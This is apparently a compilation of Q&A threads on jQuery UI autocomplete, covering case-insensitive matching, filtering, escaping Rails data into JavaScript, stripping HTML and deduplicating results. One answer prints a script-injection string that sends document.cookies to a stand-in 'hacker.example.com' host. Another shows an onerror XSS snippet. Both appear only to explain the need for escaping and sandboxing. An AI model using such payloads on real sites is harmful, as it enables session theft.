I have a javascript code that is used for autocomplete functionality. It highlights the text that is entered in a search box and matches it with the text in a database. This is case-sensitive, so it only highlights the text which is in the database table. I want the search to be case-insensitive.
This is my existing code:
<script type="text/javascript">
$(function() {
var availableTags = [<?php echo $tagsString; ?>];
$( "#tags" ).autocomplete({
source: availableTags
});
});
$.extend( $.ui.autocomplete.prototype, {
_renderItem: function( ul, item ) {
var term = this.element.val(),
html = item.label.replace( term, "<span class='f1'>$&</span>" );
return $( "<li></li>" )
.data( "item.autocomplete", item )
.append( $("<a></a>").html(html) )
.appendTo( ul );
}
});
</script>
in your database code use LOWER on both sides of the equasion.
... WHERE LOWER(db_field) = LOWER(:text) ...
Or you can cast the input to lower before giving it to the database and omit the right LOWER in this case
In case of LIKE
... WHERE LOWER(db_field) like '%' || LOWER(:text) || '%' ...
Please always quote properly or better use perpared statements to prevent SQL injections.
EDIT: Found a cleaner way using only bindings without quoting
I assume you are using MySQL.
You can lower field name and searched value,
WHERE LOWER( db_table.db_field ) = LOWER(:text) // find exact match
or use like with lower:
WHERE LOWER( db_table.db_field ) LIKE '%' || LOWER(:text) || '%' // find all that have this text as substring
But in boh cases remember to use parametrized statemenets, in order to avoid SQL injection atacks.
Related
I have a blade template with a search bar, which has no submit button and is used for filtering. However, I can't seem to get it to filter appropriately, as the page was originally using angular (which has been removed completely).
My page displays all of my products using foreach loops and displays the info from variables in my page controller (pulling everything from the database and storing as variables). Anyway, everything displays fine but I need help getting this to filter properly.
Basically, if a term entered in the search bar is anywhere in the JSON object gathered by the controller, then I want it to only display those objects. I may even need another foreach loop.
Here's the html/blade code:
<!--Search bar div-->
<div class="uk-width-5-10">
<div class="md-input-wrapper search-form">
<form id="searchProducts">
<input type="text" class="md-input label-fixed" name="srch-term" id="srch-term" autofocus placeholder="Search Products"/>
<span class="md-input-bar"></span>
</form>
</div>
<!--foreach loops around the wrapper that shows products, for reference-->
#foreach ($orderFormData->pgroups as $pgroup)
#foreach ($pgroup->image_names as $image_name)
#foreach ($pgroup->pskus as $psku)
Javascript for the search (see the variable for the JSON object, that's what I need to search within)
<script>
var orderFormData = <?php echo json_encode ($tempdata);?>;
</script>
<script>
var orderData = orderFormData // default value
var search = function (e) {
var term = e.currentTarget.value
orderData = Object.entries(orderFormData).reduce(function (data, entry) {
if (entry[0].match(term) || entry[1].match(term)) {
data[entry[0]] = entry[1]
}
return data
}, {})
console.log(orderData)
}
document.querySelector('#srch-term').addEventListener('keyup', search)
</script>
Is there a better way I should be doing this? I may even need to do a foreach loop around the search bar
It kind of sounds like you're looking for an auto complete. Have you looked at the jquery-ui-autocomplete library? It's pretty easy to implement, and might add more functionality more easily than writing loops yourself.
https://jqueryui.com/autocomplete/
I'll get into why I named the function below, but here's my implementation:
monkeyPatchAutocomplete();
$("#your_searchbox_selector").autocomplete({
source: // http://Your_Search_URL_endpoint_here,
delay: 500, // prevents search from running on *every* keystroke
minLength: 1, // default is 2, change or remove as you like
// open page after selecting (with enter key).
select: function( event, ui )
{
var qval = ui.item.id // this pulls whatever field you're looking for in your JSON that you want to use to direct your user to the new page, in my case "id";
var url = 'http://whereever_you_want_your_user_to_go?';
window.location = url + qval;
}
});
For my implementation, I wanted to color code the results in my autocomplete list with active and inactive entries, so my search controller JSON result includes 3 fields:
'value' => $searchable_values, 'id' => $id_mapping_of_whatever, 'class' => $css_classes_to_use
My search controller plugs in emails, names, and phone numbers to the value field, which is searchable, then maps an id, and plugs in css classes that I use to change the text color of the results through a monkeypatch on jQuery's autocomplete:
function monkeyPatchAutocomplete()
{
$.ui.autocomplete.prototype._renderItem = function( ul, item)
{
var re = new RegExp(this.term, 'i');
var t = item.label.replace(re,"<span class='autocomplete-span'>" + this.term + "</span>");
return $( "<li></li>" )
.data( "item.autocomplete", item )
.append( "<a class='text-" + item.class + "'>" + t + "</a>" )
.appendTo( ul )
};
};
If you're interested in formatting your results, check out dev.e.loper's answer to: How can I custom-format the Autocomplete plug-in results?.
I'm trying to input a table Page into jQuery UI Autocomplete. If I input it with Page.order('id ASC') it works perfectly, but if I input it with Page.order('id DESC') it breaks, even though the line
Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")
executes error-free in my rails console. It even breaks another jQuery UI Autocomplete further down the same page, so I think the jQuery itself must be failing.
It also prints error-free in my page source both times.
Anyone have any idea why it fails in this context?
<head>
<meta charset="utf-8">
<title>jQuery UI Autocomplete - Multiple values</title>
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.10.2.js"></script>
<script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
<link rel="stylesheet" href="/resources/demos/style.css">
<script>
$(function() {
var availableTags = [
<%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
];
function split( val ) {
return val.split( /,\s*/ );
}
function extractLast( term ) {
return split( term ).pop();
}
$( "#pages" )
// don't navigate away from the field on tab when selecting an item
.bind( "keydown", function( event ) {
if ( event.keyCode === $.ui.keyCode.TAB &&
$( this ).autocomplete( "instance" ).menu.active ) {
event.preventDefault();
}
})
.autocomplete({
minLength: 0,
source: function( request, response ) {
// delegate back to autocomplete, but extract the last term
response( $.ui.autocomplete.filter(
availableTags, extractLast( request.term ) ) );
},
focus: function() {
// prevent value inserted on focus
return false;
},
select: function( event, ui ) {
var terms = split( this.value );
// remove the current input
terms.pop();
// add the selected item
terms.push( ui.item.value );
// add placeholder to get the comma-and-space at the end
terms.push( "" );
this.value = terms.join( ", " );
return false;
}
});
});
</script>
</head>
<div class="ui-widget">
<textarea id="pages" name="pages" size="50"></textarea>
</div><br>
Do you have more than 1000 Page records in your database? You might be selecting a different set of pages, one of which could have a title like
How to use "quotation" marks
or
Tabs slashes \\\ & special characters #%*(!##😱
or worse
"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>
These will get inserted into your JS directly, like:
$(function() {
var availableTags = [
"How to use "quotation" marks",
"Tabs slashes \\\ & special characters #%*(!##😱",
""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
];
...
All of these are bad. The first two can break the script because things like quotations and slashes are not allowed in the middle of a string without proper escaping as \" and \\.
Rails provides a convenient function called escape_javascript, which is also aliased as j, that you can use to escape JavaScript code. E.g. data = "<%=j 'a"b"c' %>"; will output data = "a\"b\"c";
I would update your loop generating the availableTags array to use this method:
var availableTags = [
<%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
];
I'm using jQueryUI autocomplete to pull results from a SQL database. I use the substring method to limit results' descriptions to 350 characters. But it seems that I can't use .text() alongside with substring to remove all the html tags from the descriptions. When I type in a search term, the console returns
TypeError: item.description.text is not a function
Can someone tell me what should be used to remove html tags from descriptions?
$(function() {
$( "#Search" ).autocomplete({
source: function( request, response ) {
$.ajax({
url: "get.php",
dataType:"json",
data:{q:request.term},
success: function( data ) {
response($.map( data.products, function( item ) { return {
label:item.name,
category:item.category,
description:item.description.text().substring(0,350).split(" ").slice(0, -1).join(" ")
//.text() doesn't work.
}
Assigning the Data:
}).data("ui-autocomplete")._renderItem = function(ul, item) {
var inner_html = '..........<p>'+ item.description +'...</div></div></a>';
The problem is that .text() is a method of jQuery objects (which contain nodes), and .textContent is a property of nodes. Instead, it seems that item.description is a string.
Then, you could create a DOM element with the string as its html, and then use .textContent or .text(). But that is a vulnerable practice:
$('<img src="//" onerror=alert("hacked!") />');
The safe way is:
function stripHTML(html) {
var sandbox = document.implementation.createHTMLDocument().body;
sandbox.innerHTML = html;
return sandbox.textContent;
}
/* ... */
description: stripHTML(item.description).substring(0,350);
/* ... */
Note document.implementation.createHTMLDocument doesn't work on old browsers.
Hi I'm trying to get special characters like ëéäá to show up in my autocomplete. For example the letter ë shows up as & # 2 3 5 ; (without the spaces).
I'm creating a php array which I json_encode. I can create the json with both ë (html_entity_decode) and & # 2 3 5 ; (without the spaces) in the object. When I create the json object with ë it doesn't show up in the autocomplete.
My autocomplete function looks as follow:
<script>
$(document).ready(function() {
$(function() {
<?php echo "var availableCustomers = " . $this->searchCustomer . ";\n"; ?>
$( "#customerAutocomplete" ).autocomplete({
delay: 0,
source: availableCustomers,
select: function(event, ui) {
window.location.href = '/customer/look-customer/deb/' + ui.item.deb;
}
});
});
});
</script>
Autocomplete allow you to manage the render of your element. You may start from this point and try to make a custom render function. You just have to specify a render function in the configuration like :
$( "#customerAutocomplete" ).autocomplete({
...
_renderItem: function( ul, item ) {
return $("<li>")
.attr("data-value", item.value)
.append($("<a>").html(item.label))
.appendTo(ul);
},
...
});
You can console.debug the item to check if it contains your text with accent.
I'm using Jquery ui autocomplete plugin in a combo box and I'm reading the values from a JSON file. The problem is in my JSON file. I have fields with same value. Like this.
({
name:a
},
{
name:a
},
{
name:b
})
So when I type 'a' in combo box, it gives me 2 'a' s. But I need only one (I need only the unique values from JSON file). How do I do this? I do not have the complete code right now, that's why I cant put it. Sorry about that and thank you.
EDIT: You could use something like this to remove duplicate entries from the json array before sending that data to the jQuery autocomplete plugin.
var names = {};
var param = "name"
$.each(data.people, function() {
if (!names[this[param]])
names[this[param]] = [];
names[this[param]].push(this);
});
Then we can do source: names
try this.... only unique values can be added in input field
select: function( event, ui ) {
var terms = split( this.value );
// remove the current input
terms.pop();
// add the selected item
if(!($.inArray(ui.item.value,terms) > -1))
terms.push( ui.item.value );
// add placeholder to get the comma-and-space at the end
terms.push( "" );
this.value = terms.join( ", " );
return false;
}